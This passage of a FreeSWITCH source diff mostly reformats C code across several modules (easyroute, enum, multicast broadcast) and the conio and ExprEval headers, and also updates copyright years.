@@ -163,7 +163,7 @@ static switch_status_t load_config(void)
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Connection (did you enable it?!)\n");
}
reallydone:
reallydone:
if (xml) {
switch_xml_free(xml);
@@ -177,76 +177,77 @@ static switch_status_t load_config(void)
return status;
}
static char SQL_LOOKUP[] = "SELECT gateways.gateway_ip, gateways.group, gateways.limit, gateways.techprofile, numbers.acctcode, numbers.translated from gateways, numbers where numbers.number = '%q' and numbers.gateway_id = gateways.gateway_id limit 1;";
static char SQL_LOOKUP[] =
"SELECT gateways.gateway_ip, gateways.group, gateways.limit, gateways.techprofile, numbers.acctcode, numbers.translated from gateways, numbers where numbers.number = '%q' and numbers.gateway_id = gateways.gateway_id limit 1;";
static switch_status_t route_lookup(char *dn, easyroute_results_t *results, int noat, char *separator)
{
{
switch_status_t sstatus = SWITCH_STATUS_SUCCESS;
char *sql = NULL;
route_callback_t pdata;
if (!switch_odbc_available()) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
"mod_easyroute requires core ODBC support. Please refer to the documentation on how to enable this\n");
return sstatus;
}
memset(&pdata, 0, sizeof(pdata));
if (!globals.custom_query){
if (!globals.custom_query) {
sql = switch_mprintf(SQL_LOOKUP, dn);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing static Query\n[%s]\n", sql);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing static Query\n[%s]\n", sql);
} else {
sql = switch_mprintf(globals.custom_query, dn);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing custom Query\n[%s]\n", sql);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing custom Query\n[%s]\n", sql);
}
if (globals.mutex){
if (globals.mutex) {
switch_mutex_lock(globals.mutex);
}
/* Do the Query */
if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, route_callback, &pdata, NULL) == SWITCH_ODBC_SUCCESS){
if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, route_callback, &pdata, NULL) == SWITCH_ODBC_SUCCESS) {
char tmp_profile[129];
char tmp_gateway[129];
if (zstr(pdata.limit)) {
switch_set_string(results->limit, "9999" );
switch_set_string(results->limit, "9999");
} else {
switch_set_string(results->limit, pdata.limit );
switch_set_string(results->limit, pdata.limit);
}
if (zstr(pdata.techprofile)){
if (zstr(pdata.techprofile)) {
switch_set_string(tmp_profile, globals.default_techprofile);
} else {
switch_set_string(tmp_profile, pdata.techprofile);
}
if (zstr(pdata.gateway)){
if (zstr(pdata.gateway)) {
switch_set_string(tmp_gateway, globals.default_gateway);
} else {
switch_set_string(tmp_gateway, pdata.gateway);
}
if (zstr(pdata.translated)){
if (zstr(pdata.translated)) {
switch_set_string(results->translated, dn);
} else {
switch_set_string(results->translated, pdata.translated);
}
if (noat) {
switch_snprintf(results->dialstring, 256, "%s/%s%s", tmp_profile , results->translated, tmp_gateway);
switch_snprintf(results->dialstring, 256, "%s/%s%s", tmp_profile, results->translated, tmp_gateway);
} else if (separator) {
switch_snprintf(results->dialstring, 256, "%s/%s%s%s", tmp_profile , results->translated, separator, tmp_gateway);
switch_snprintf(results->dialstring, 256, "%s/%s%s%s", tmp_profile, results->translated, separator, tmp_gateway);
} else {
switch_snprintf(results->dialstring, 256, "%s/%s@%s", tmp_profile , results->translated, tmp_gateway);
switch_snprintf(results->dialstring, 256, "%s/%s@%s", tmp_profile, results->translated, tmp_gateway);
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "THE ROUTE [%s]\n", results->dialstring);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "THE ROUTE [%s]\n", results->dialstring);
if (zstr(pdata.group)){
if (zstr(pdata.group)) {
switch_set_string(results->group, "");
} else {
switch_set_string(results->group, pdata.group);
}
if (zstr(pdata.acctcode)){
if (zstr(pdata.acctcode)) {
switch_set_string(results->acctcode, "");
} else {
switch_set_string(results->acctcode, pdata.acctcode);
@@ -254,11 +255,11 @@ static switch_status_t route_lookup(char *dn, easyroute_results_t *results, int
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "DB Error Setting Default Route!\n");
switch_set_string(results->limit, "9999");
if (noat){
if (noat) {
switch_snprintf(results->dialstring, 256, "%s/%s%s", globals.default_techprofile, dn, globals.default_gateway);
} else if (separator){
} else if (separator) {
switch_snprintf(results->dialstring, 256, "%s/%s%s%s", globals.default_techprofile, dn, separator, globals.default_gateway);
} else {
} else {
switch_snprintf(results->dialstring, 256, "%s/%s@%s", globals.default_techprofile, dn, globals.default_gateway);
}
switch_set_string(results->group, "");
@@ -267,7 +268,7 @@ static switch_status_t route_lookup(char *dn, easyroute_results_t *results, int
switch_safe_free(sql);
if (globals.mutex){
if (globals.mutex) {
switch_mutex_unlock(globals.mutex);
}
return sstatus;
@@ -278,7 +279,7 @@ SWITCH_STANDARD_APP(easyroute_app_function)
int argc = 0;
char *argv[4] = { 0 };
char *mydata = NULL;
char *destnum = NULL;
char *destnum = NULL;
int noat = 0;
char *separator = NULL;
@@ -289,18 +290,18 @@ SWITCH_STANDARD_APP(easyroute_app_function)
if (!channel) {
return;
}
if (!(mydata = switch_core_session_strdup(session, data))) {
return;
}
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
destnum = argv[0];
if (argc == 2) {
if (!strcasecmp(argv[1], "noat")) {
noat = 1;
} else if (!strcasecmp(argv[1], "separator")) {
if (argc == 3){
if (argc == 3) {
switch_set_string(separator, argv[2]);
}
}
@@ -325,7 +326,7 @@ SWITCH_STANDARD_API(easyroute_function)
int noat = 0;
easyroute_results_t results;
switch_status_t status = SWITCH_STATUS_SUCCESS;
if (session) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "This function cannot be called from the dialplan.\n");
status = SWITCH_STATUS_FALSE;
@@ -337,39 +338,40 @@ SWITCH_STANDARD_API(easyroute_function)
status = SWITCH_STATUS_SUCCESS;
goto done;
}
if (!cmd || !(mydata = strdup(cmd))) {
stream->write_function(stream, "Usage: easyroute <number>\n");
status = SWITCH_STATUS_SUCCESS;
goto done;
}
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
destnum = argv[0];
if (argc < 1 || argc > 3){
if (argc < 1 || argc > 3) {
stream->write_function(stream, "Invalid Input!\n");
status = SWITCH_STATUS_SUCCESS;
goto done;
}
}
if (argc == 2) {
if (!strcasecmp(argv[1], "noat")) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Entering noat.\n");
noat = 1;
} else if (!strcasecmp(argv[1], "separator")) {
if (argc == 3){
if (argc == 3) {
switch_set_string(separator, argv[2]);
}
}
}
if (!route_lookup(destnum, &results, noat, separator) == SWITCH_STATUS_SUCCESS) {
stream->write_function(stream, "No Match!\n");
status = SWITCH_STATUS_SUCCESS;
goto done;
}
if (argc != 2){
if (argc != 2) {
stream->write_function(stream, "Number \tLimit \tGroup \tAcctCode \tDialstring\n");
stream->write_function(stream, "%-10s\t%-10s\t%-10s\t%-10s\t%s\n", destnum, results.limit, results.group, results.acctcode, results.dialstring);
stream->write_function(stream, "%-10s\t%-10s\t%-10s\t%-10s\t%s\n", destnum, results.limit, results.group, results.acctcode,
results.dialstring);
} else {
if (!strncasecmp(argv[1], "dialstring", 10)) {
stream->write_function(stream, "%s", results.dialstring);
@@ -386,12 +388,12 @@ SWITCH_STANDARD_API(easyroute_function)
status = SWITCH_STATUS_SUCCESS;
goto done;
}
}
}
} else {
stream->write_function(stream, "Invalid Input!\n");
}
done:
done:
switch_safe_free(mydata);
return status;
}
@@ -400,21 +402,22 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_easyroute_load)
{
switch_api_interface_t *api_interface;
switch_application_interface_t *app_interface;
memset(&globals, 0, sizeof(globals));
load_config();
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_API(api_interface, "easyroute", "EasyRoute", easyroute_function, "");
SWITCH_ADD_APP(app_interface, "easyroute", "Perform an easyroute lookup", "Perform an easyroute lookup", easyroute_app_function, "<number>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "easyroute", "Perform an easyroute lookup", "Perform an easyroute lookup", easyroute_app_function, "<number>",
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_easyroute_shutdown)
{
{
switch_odbc_handle_disconnect(globals.master_odbc);
switch_safe_free(globals.db_username);
switch_safe_free(globals.db_password);
+5 -5
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -251,7 +251,7 @@ static void add_result(enum_query_t *q, int order, int preference, char *service
}
}
static void free_results(enum_record_t **results)
static void free_results(enum_record_t ** results)
{
enum_record_t *fp, *rp;
@@ -447,7 +447,7 @@ static void dnscb(struct dns_ctx *ctx, void *result, void *data)
free(result);
}
static switch_status_t enum_lookup(char *root, char *in, enum_record_t **results)
static switch_status_t enum_lookup(char *root, char *in, enum_record_t ** results)
{
switch_status_t sstatus = SWITCH_STATUS_SUCCESS;
char *name = NULL;
@@ -829,7 +829,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_enum_load)
memset(&globals, 0, sizeof(globals));
do_load();
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_API(api_interface, "enum", "ENUM", enum_function, "");
@@ -850,7 +850,7 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_enum_shutdown)
if (globals.pool) {
switch_core_destroy_memory_pool(&globals.pool);
}
switch_safe_free(globals.root);
switch_safe_free(globals.isn_root);
+6 -7
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -78,10 +78,10 @@ SWITCH_STANDARD_APP(bcast_function)
switch_port_t mcast_control_port = 6061;
char *mcast_port_str = "34567";
const char *esf_broadcast_ip = NULL, *var;
switch_codec_implementation_t read_impl = {0};
switch_codec_implementation_t read_impl = { 0 };
int mcast_ttl = 1;
switch_core_session_get_read_impl(session, &read_impl);
switch_core_session_get_read_impl(session, &read_impl);
if (!zstr((char *) data)) {
mydata = switch_core_session_strdup(session, data);
@@ -105,7 +105,7 @@ SWITCH_STANDARD_APP(bcast_function)
if (!zstr(argv[2])) {
mcast_control_port = (switch_port_t) atoi(argv[2]);
}
if (!zstr(argv[3])) {
mcast_ttl = atoi(argv[3]);
if (mcast_ttl < 1 || mcast_ttl > 255) {
@@ -136,7 +136,7 @@ SWITCH_STANDARD_APP(bcast_function)
goto fail;
}
if (switch_mcast_hops(socket, (uint8_t)mcast_ttl) != SWITCH_STATUS_SUCCESS) {
if (switch_mcast_hops(socket, (uint8_t) mcast_ttl) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Mutlicast TTL set failed\n");
goto fail;
}
@@ -201,8 +201,7 @@ SWITCH_STANDARD_APP(bcast_function)
mcast_port,
read_impl.ianacode,
read_impl.samples_per_packet,
read_impl.microseconds_per_packet,
(switch_rtp_flag_t) flags, "soft", &err, switch_core_session_get_pool(session));
read_impl.microseconds_per_packet, (switch_rtp_flag_t) flags, "soft", &err, switch_core_session_get_pool(session));
if (!switch_rtp_ready(rtp_session)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "RTP Error\n");
+46 -49
View File
@@ -20,25 +20,24 @@ extern "C" {
#define BLINK 0
typedef enum
{
BLACK,
BLUE,
GREEN,
CYAN,
RED,
MAGENTA,
BROWN,
LIGHTGRAY,
DARKGRAY,
LIGHTBLUE,
LIGHTGREEN,
LIGHTCYAN,
LIGHTRED,
LIGHTMAGENTA,
YELLOW,
WHITE
} COLORS;
typedef enum {
BLACK,
BLUE,
GREEN,
CYAN,
RED,
MAGENTA,
BROWN,
LIGHTGRAY,
DARKGRAY,
LIGHTBLUE,
LIGHTGREEN,
LIGHTCYAN,
LIGHTRED,
LIGHTMAGENTA,
YELLOW,
WHITE
} COLORS;
#define cgets _cgets
@@ -49,17 +48,16 @@ typedef enum
/* blinkvideo */
void clreol (void);
void clrscr (void);
void clreol(void);
void clrscr(void);
int _conio_gettext (int left, int top, int right, int bottom,
char *str);
int _conio_gettext(int left, int top, int right, int bottom, char *str);
/* _conio_kbhit */
void delline (void);
void delline(void);
/* gettextinfo */
void gotoxy(int x, int y);
void gotoxy(int x, int y);
/*
highvideo
insline
@@ -69,9 +67,9 @@ movetext
normvideo
*/
void gotoxy(int x, int y);
void gotoxy(int x, int y);
void puttext (int left, int top, int right, int bottom, char *str);
void puttext(int left, int top, int right, int bottom, char *str);
// Screen Variables
@@ -89,19 +87,19 @@ ScreenUpdateLine
ScreenVisualBell
_set_screen_lines */
void _setcursortype (int type);
void _setcursortype(int type);
void textattr (int _attr);
void textattr(int _attr);
void textbackground (int color);
void textbackground(int color);
void textcolor (int color);
void textcolor(int color);
/* textmode */
int wherex (void);
int wherex(void);
int wherey (void);
int wherey(void);
/* window */
@@ -135,27 +133,26 @@ int wherey (void);
*
*/
char* _cgets (char*);
int _cprintf (const char*, ...);
int _cputs (const char*);
int _cscanf (char*, ...);
char *_cgets(char *);
int _cprintf(const char *, ...);
int _cputs(const char *);
int _cscanf(char *, ...);
int _getch (void);
int _getche (void);
int _kbhit (void);
int _putch (int);
int _ungetch (int);
int _getch(void);
int _getche(void);
int _kbhit(void);
int _putch(int);
int _ungetch(int);
int getch (void);
int getche (void);
int kbhit (void);
int putch (int);
int ungetch (int);
int getch(void);
int getche(void);
int kbhit(void);
int putch(int);
int ungetch(int);
#ifdef __cplusplus
}
#endif
#endif /* _CONIO_H_ */
#endif /* _CONIO_H_ */
+68 -73
View File
@@ -19,7 +19,7 @@ extern "C" {
/* Define type of data to use */
typedef double EXPRTYPE;
typedef double EXPRTYPE;
/* Defines for various things */
@@ -27,101 +27,96 @@ typedef double EXPRTYPE;
#define EXPR_MAXIDENTSIZE 255
/* Error values */
enum
{
EXPR_ERROR_UNKNOWN = -1, /* Unknown error */
EXPR_ERROR_NOERROR = 0, /* No Error */
EXPR_ERROR_MEMORY, /* Memory allocation failed */
EXPR_ERROR_NULLPOINTER, /* Null pointer passed to function */
EXPR_ERROR_NOTFOUND, /* Item not found in a list */
EXPR_ERROR_UNMATCHEDCOMMENT, /* Unmatched comment tags */
EXPR_ERROR_INVALIDCHAR, /* Invalid characters in expression */
EXPR_ERROR_ALREADYEXISTS, /* An item already called create */
EXPR_ERROR_ALREADYPARSEDBAD, /* Expression parsed already, but unsuccessfully. call free or clear */
EXPR_ERROR_ALREADYPARSEDGOOD, /* Expression parsed already, successfully, call free or clear */
EXPR_ERROR_EMPTYEXPR, /* Empty expression string passed to parse */
EXPR_ERROR_UNMATCHEDPAREN, /* Unmatched parenthesis */
EXPR_ERROR_SYNTAX, /* Syntax error in expression */
EXPR_ERROR_MISSINGSEMICOLON, /* Missing semicolon at end of expression */
EXPR_ERROR_BADIDENTIFIER, /* Identifier was to big or not formed right */
EXPR_ERROR_NOSUCHFUNCTION, /* Function does not exist in function list */
EXPR_ERROR_BADNUMBERARGUMENTS, /* Bad number of arguments in a function call */
EXPR_ERROR_BADEXPR, /* This is a bad expression to evaluate. It has not been parsed or has unsuccessfully */
EXPR_ERROR_UNABLETOASSIGN, /* Unable to do an assignment, maybe no variable list */
EXPR_ERROR_DIVBYZERO, /* Attempted a division by zero */
EXPR_ERROR_NOVARLIST, /* No variable list found but one is needed */
EXPR_ERROR_BREAK, /* Expression was broken by break function */
EXPR_ERROR_CONSTANTASSIGN, /* Assignment to a constant */
EXPR_ERROR_REFCONSTANT, /* Constant used as a reference parameter */
EXPR_ERROR_OUTOFRANGE, /* A bad value was passed to a function */
enum {
EXPR_ERROR_UNKNOWN = -1, /* Unknown error */
EXPR_ERROR_NOERROR = 0, /* No Error */
EXPR_ERROR_MEMORY, /* Memory allocation failed */
EXPR_ERROR_NULLPOINTER, /* Null pointer passed to function */
EXPR_ERROR_NOTFOUND, /* Item not found in a list */
EXPR_ERROR_UNMATCHEDCOMMENT, /* Unmatched comment tags */
EXPR_ERROR_INVALIDCHAR, /* Invalid characters in expression */
EXPR_ERROR_ALREADYEXISTS, /* An item already called create */
EXPR_ERROR_ALREADYPARSEDBAD, /* Expression parsed already, but unsuccessfully. call free or clear */
EXPR_ERROR_ALREADYPARSEDGOOD, /* Expression parsed already, successfully, call free or clear */
EXPR_ERROR_EMPTYEXPR, /* Empty expression string passed to parse */
EXPR_ERROR_UNMATCHEDPAREN, /* Unmatched parenthesis */
EXPR_ERROR_SYNTAX, /* Syntax error in expression */
EXPR_ERROR_MISSINGSEMICOLON, /* Missing semicolon at end of expression */
EXPR_ERROR_BADIDENTIFIER, /* Identifier was to big or not formed right */
EXPR_ERROR_NOSUCHFUNCTION, /* Function does not exist in function list */
EXPR_ERROR_BADNUMBERARGUMENTS, /* Bad number of arguments in a function call */
EXPR_ERROR_BADEXPR, /* This is a bad expression to evaluate. It has not been parsed or has unsuccessfully */
EXPR_ERROR_UNABLETOASSIGN, /* Unable to do an assignment, maybe no variable list */
EXPR_ERROR_DIVBYZERO, /* Attempted a division by zero */
EXPR_ERROR_NOVARLIST, /* No variable list found but one is needed */
EXPR_ERROR_BREAK, /* Expression was broken by break function */
EXPR_ERROR_CONSTANTASSIGN, /* Assignment to a constant */
EXPR_ERROR_REFCONSTANT, /* Constant used as a reference parameter */
EXPR_ERROR_OUTOFRANGE, /* A bad value was passed to a function */
EXPR_ERROR_USER /* Custom errors should be larger than this */
};
EXPR_ERROR_USER /* Custom errors should be larger than this */
};
/* Macros */
/* Forward declarations */
typedef struct _exprNode exprNode;
typedef struct _exprFuncList exprFuncList;
typedef struct _exprValList exprValList;
typedef struct _exprObj exprObj;
typedef struct _exprNode exprNode;
typedef struct _exprFuncList exprFuncList;
typedef struct _exprValList exprValList;
typedef struct _exprObj exprObj;
/* Function types */
typedef int (*exprFuncType)(exprObj *obj, exprNode *nodes, int nodecount, EXPRTYPE **refs, int refcount, EXPRTYPE *val);
typedef int (*exprBreakFuncType)(exprObj *obj);
typedef int (*exprFuncType) (exprObj * obj, exprNode * nodes, int nodecount, EXPRTYPE ** refs, int refcount, EXPRTYPE * val);
typedef int (*exprBreakFuncType) (exprObj * obj);
/* Functions */
/* Version information function */
void exprGetVersion(int *major, int *minor);
void exprGetVersion(int *major, int *minor);
/* Functions for function lists */
int exprFuncListCreate(exprFuncList **flist);
int exprFuncListAdd(exprFuncList *flist, char *name, exprFuncType ptr, int min, int max, int refmin, int refmax);
int exprFuncListFree(exprFuncList *flist);
int exprFuncListClear(exprFuncList *flist);
int exprFuncListInit(exprFuncList *flist);
int exprFuncListCreate(exprFuncList ** flist);
int exprFuncListAdd(exprFuncList * flist, char *name, exprFuncType ptr, int min, int max, int refmin, int refmax);
int exprFuncListFree(exprFuncList * flist);
int exprFuncListClear(exprFuncList * flist);
int exprFuncListInit(exprFuncList * flist);
/* Functions for value lists */
int exprValListCreate(exprValList **vlist);
int exprValListAdd(exprValList *vlist, char *name, EXPRTYPE val);
int exprValListSet(exprValList *vlist, char *name, EXPRTYPE val);
int exprValListGet(exprValList *vlist, char *name, EXPRTYPE *val);
int exprValListAddAddress(exprValList *vlist, char *name, EXPRTYPE *addr);
int exprValListGetAddress(exprValList *vlist, char *name, EXPRTYPE **addr);
void *exprValListGetNext(exprValList *vlist, char **name, EXPRTYPE *value, EXPRTYPE** addr, void *cookie);
int exprValListFree(exprValList *vlist);
int exprValListClear(exprValList *vlist);
int exprValListInit(exprValList *vlist);
int exprValListCreate(exprValList ** vlist);
int exprValListAdd(exprValList * vlist, char *name, EXPRTYPE val);
int exprValListSet(exprValList * vlist, char *name, EXPRTYPE val);
int exprValListGet(exprValList * vlist, char *name, EXPRTYPE * val);
int exprValListAddAddress(exprValList * vlist, char *name, EXPRTYPE * addr);
int exprValListGetAddress(exprValList * vlist, char *name, EXPRTYPE ** addr);
void *exprValListGetNext(exprValList * vlist, char **name, EXPRTYPE * value, EXPRTYPE ** addr, void *cookie);
int exprValListFree(exprValList * vlist);
int exprValListClear(exprValList * vlist);
int exprValListInit(exprValList * vlist);
/* Functions for expression objects */
int exprCreate(exprObj **obj, exprFuncList *flist, exprValList *vlist, exprValList *clist,
exprBreakFuncType breaker, void *userdata);
int exprFree(exprObj *obj);
int exprClear(exprObj *obj);
int exprParse(exprObj *obj, char *expr);
int exprEval(exprObj *obj, EXPRTYPE *val);
int exprEvalNode(exprObj *obj, exprNode *nodes, int curnode, EXPRTYPE *val);
exprFuncList *exprGetFuncList(exprObj *obj);
exprValList *exprGetVarList(exprObj *obj);
exprValList *exprGetConstList(exprObj *obj);
exprBreakFuncType exprGetBreakFunc(exprObj *obj);
int exprGetBreakResult(exprObj *obj);
void* exprGetUserData(exprObj *obj);
void exprSetUserData(exprObj *obj, void *userdata);
void exprSetBreakCount(exprObj *obj, int count);
void exprGetErrorPosition(exprObj *obj, int *start, int *end);
int exprCreate(exprObj ** obj, exprFuncList * flist, exprValList * vlist, exprValList * clist, exprBreakFuncType breaker, void *userdata);
int exprFree(exprObj * obj);
int exprClear(exprObj * obj);
int exprParse(exprObj * obj, char *expr);
int exprEval(exprObj * obj, EXPRTYPE * val);
int exprEvalNode(exprObj * obj, exprNode * nodes, int curnode, EXPRTYPE * val);
exprFuncList *exprGetFuncList(exprObj * obj);
exprValList *exprGetVarList(exprObj * obj);
exprValList *exprGetConstList(exprObj * obj);
exprBreakFuncType exprGetBreakFunc(exprObj * obj);
int exprGetBreakResult(exprObj * obj);
void *exprGetUserData(exprObj * obj);
void exprSetUserData(exprObj * obj, void *userdata);
void exprSetBreakCount(exprObj * obj, int count);
void exprGetErrorPosition(exprObj * obj, int *start, int *end);
/* Other useful routines */
int exprValidIdent(char *name);
int exprValidIdent(char *name);
/* Name mangling */
#ifdef __cplusplus
}
#endif
#endif /* __BAVII_EXPREVAL_H */
#endif /* __BAVII_EXPREVAL_H */
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -13,7 +13,7 @@
/* Needed for exprNode */
#include "exprpriv.h"
void* exprAllocMem(size_t size);
void *exprAllocMem(size_t size);
void exprFreeMem(void *data);
exprNode *exprAllocNodes(size_t count);
+137 -153
View File
@@ -30,196 +30,180 @@ extern "C" {
#define EXPR_VERSIONMINOR 7
/* Node types */
enum
{
EXPR_NODETYPE_UNKNOWN = 0,
EXPR_NODETYPE_MULTI,
EXPR_NODETYPE_ADD,
EXPR_NODETYPE_SUBTRACT,
EXPR_NODETYPE_MULTIPLY,
EXPR_NODETYPE_DIVIDE,
EXPR_NODETYPE_EXPONENT,
EXPR_NODETYPE_NEGATE,
EXPR_NODETYPE_VALUE,
EXPR_NODETYPE_VARIABLE,
EXPR_NODETYPE_ASSIGN,
EXPR_NODETYPE_FUNCTION
};
enum {
EXPR_NODETYPE_UNKNOWN = 0,
EXPR_NODETYPE_MULTI,
EXPR_NODETYPE_ADD,
EXPR_NODETYPE_SUBTRACT,
EXPR_NODETYPE_MULTIPLY,
EXPR_NODETYPE_DIVIDE,
EXPR_NODETYPE_EXPONENT,
EXPR_NODETYPE_NEGATE,
EXPR_NODETYPE_VALUE,
EXPR_NODETYPE_VARIABLE,
EXPR_NODETYPE_ASSIGN,
EXPR_NODETYPE_FUNCTION
};
/* Functions can be evaluated directly in EXPREVAL. If fptr
is NULL, type is used to determine what the function is */
enum
{
EXPR_NODEFUNC_UNKNOWN = 0,
EXPR_NODEFUNC_ABS,
EXPR_NODEFUNC_MOD,
EXPR_NODEFUNC_IPART,
EXPR_NODEFUNC_FPART,
EXPR_NODEFUNC_MIN,
EXPR_NODEFUNC_MAX,
EXPR_NODEFUNC_POW,
EXPR_NODEFUNC_SQRT,
EXPR_NODEFUNC_SIN,
EXPR_NODEFUNC_SINH,
EXPR_NODEFUNC_ASIN,
EXPR_NODEFUNC_COS,
EXPR_NODEFUNC_COSH,
EXPR_NODEFUNC_ACOS,
EXPR_NODEFUNC_TAN,
EXPR_NODEFUNC_TANH,
EXPR_NODEFUNC_ATAN,
EXPR_NODEFUNC_ATAN2,
EXPR_NODEFUNC_LOG,
EXPR_NODEFUNC_POW10,
EXPR_NODEFUNC_LN,
EXPR_NODEFUNC_EXP,
EXPR_NODEFUNC_LOGN,
EXPR_NODEFUNC_CEIL,
EXPR_NODEFUNC_FLOOR,
EXPR_NODEFUNC_RAND,
EXPR_NODEFUNC_RANDOM,
EXPR_NODEFUNC_RANDOMIZE,
EXPR_NODEFUNC_DEG,
EXPR_NODEFUNC_RAD,
EXPR_NODEFUNC_RECTTOPOLR,
EXPR_NODEFUNC_RECTTOPOLA,
EXPR_NODEFUNC_POLTORECTX,
EXPR_NODEFUNC_POLTORECTY,
EXPR_NODEFUNC_IF,
EXPR_NODEFUNC_SELECT,
EXPR_NODEFUNC_EQUAL,
EXPR_NODEFUNC_ABOVE,
EXPR_NODEFUNC_BELOW,
EXPR_NODEFUNC_AVG,
EXPR_NODEFUNC_CLIP,
EXPR_NODEFUNC_CLAMP,
EXPR_NODEFUNC_PNTCHANGE,
EXPR_NODEFUNC_POLY,
EXPR_NODEFUNC_AND,
EXPR_NODEFUNC_OR,
EXPR_NODEFUNC_NOT,
EXPR_NODEFUNC_FOR,
EXPR_NODEFUNC_MANY
};
enum {
EXPR_NODEFUNC_UNKNOWN = 0,
EXPR_NODEFUNC_ABS,
EXPR_NODEFUNC_MOD,
EXPR_NODEFUNC_IPART,
EXPR_NODEFUNC_FPART,
EXPR_NODEFUNC_MIN,
EXPR_NODEFUNC_MAX,
EXPR_NODEFUNC_POW,
EXPR_NODEFUNC_SQRT,
EXPR_NODEFUNC_SIN,
EXPR_NODEFUNC_SINH,
EXPR_NODEFUNC_ASIN,
EXPR_NODEFUNC_COS,
EXPR_NODEFUNC_COSH,
EXPR_NODEFUNC_ACOS,
EXPR_NODEFUNC_TAN,
EXPR_NODEFUNC_TANH,
EXPR_NODEFUNC_ATAN,
EXPR_NODEFUNC_ATAN2,
EXPR_NODEFUNC_LOG,
EXPR_NODEFUNC_POW10,
EXPR_NODEFUNC_LN,
EXPR_NODEFUNC_EXP,
EXPR_NODEFUNC_LOGN,
EXPR_NODEFUNC_CEIL,
EXPR_NODEFUNC_FLOOR,
EXPR_NODEFUNC_RAND,
EXPR_NODEFUNC_RANDOM,
EXPR_NODEFUNC_RANDOMIZE,
EXPR_NODEFUNC_DEG,
EXPR_NODEFUNC_RAD,
EXPR_NODEFUNC_RECTTOPOLR,
EXPR_NODEFUNC_RECTTOPOLA,
EXPR_NODEFUNC_POLTORECTX,
EXPR_NODEFUNC_POLTORECTY,
EXPR_NODEFUNC_IF,
EXPR_NODEFUNC_SELECT,
EXPR_NODEFUNC_EQUAL,
EXPR_NODEFUNC_ABOVE,
EXPR_NODEFUNC_BELOW,
EXPR_NODEFUNC_AVG,
EXPR_NODEFUNC_CLIP,
EXPR_NODEFUNC_CLAMP,
EXPR_NODEFUNC_PNTCHANGE,
EXPR_NODEFUNC_POLY,
EXPR_NODEFUNC_AND,
EXPR_NODEFUNC_OR,
EXPR_NODEFUNC_NOT,
EXPR_NODEFUNC_FOR,
EXPR_NODEFUNC_MANY
};
/* Forward declarations */
typedef struct _exprFunc exprFunc;
typedef struct _exprVal exprVal;
typedef struct _exprFunc exprFunc;
typedef struct _exprVal exprVal;
/* Expression object */
struct _exprObj
{
struct _exprFuncList *flist; /* Functions */
struct _exprValList *vlist; /* Variables */
struct _exprValList *clist; /* Constants */
struct _exprNode *headnode; /* Head parsed node */
struct _exprObj {
struct _exprFuncList *flist; /* Functions */
struct _exprValList *vlist; /* Variables */
struct _exprValList *clist; /* Constants */
struct _exprNode *headnode; /* Head parsed node */
exprBreakFuncType breakerfunc; /* Break function type */
exprBreakFuncType breakerfunc; /* Break function type */
void *userdata; /* User data, can be any 32 bit value */
int parsedgood; /* non-zero if successfully parsed */
int parsedbad; /* non-zero if parsed but unsuccessful */
int breakcount; /* how often to check the breaker function */
int breakcur; /* do we check the breaker function yet */
int starterr; /* start position of an error */
int enderr; /* end position of an error */
};
void *userdata; /* User data, can be any 32 bit value */
int parsedgood; /* non-zero if successfully parsed */
int parsedbad; /* non-zero if parsed but unsuccessful */
int breakcount; /* how often to check the breaker function */
int breakcur; /* do we check the breaker function yet */
int starterr; /* start position of an error */
int enderr; /* end position of an error */
};
/* Object for a function */
struct _exprFunc
{
char *fname; /* Name of the function */
exprFuncType fptr; /* Function pointer */
int min, max; /* Min and max args for the function. */
int refmin, refmax; /* Min and max ref. variables for the function */
int type; /* Function node type. exprEvalNOde solves the function */
struct _exprFunc {
char *fname; /* Name of the function */
exprFuncType fptr; /* Function pointer */
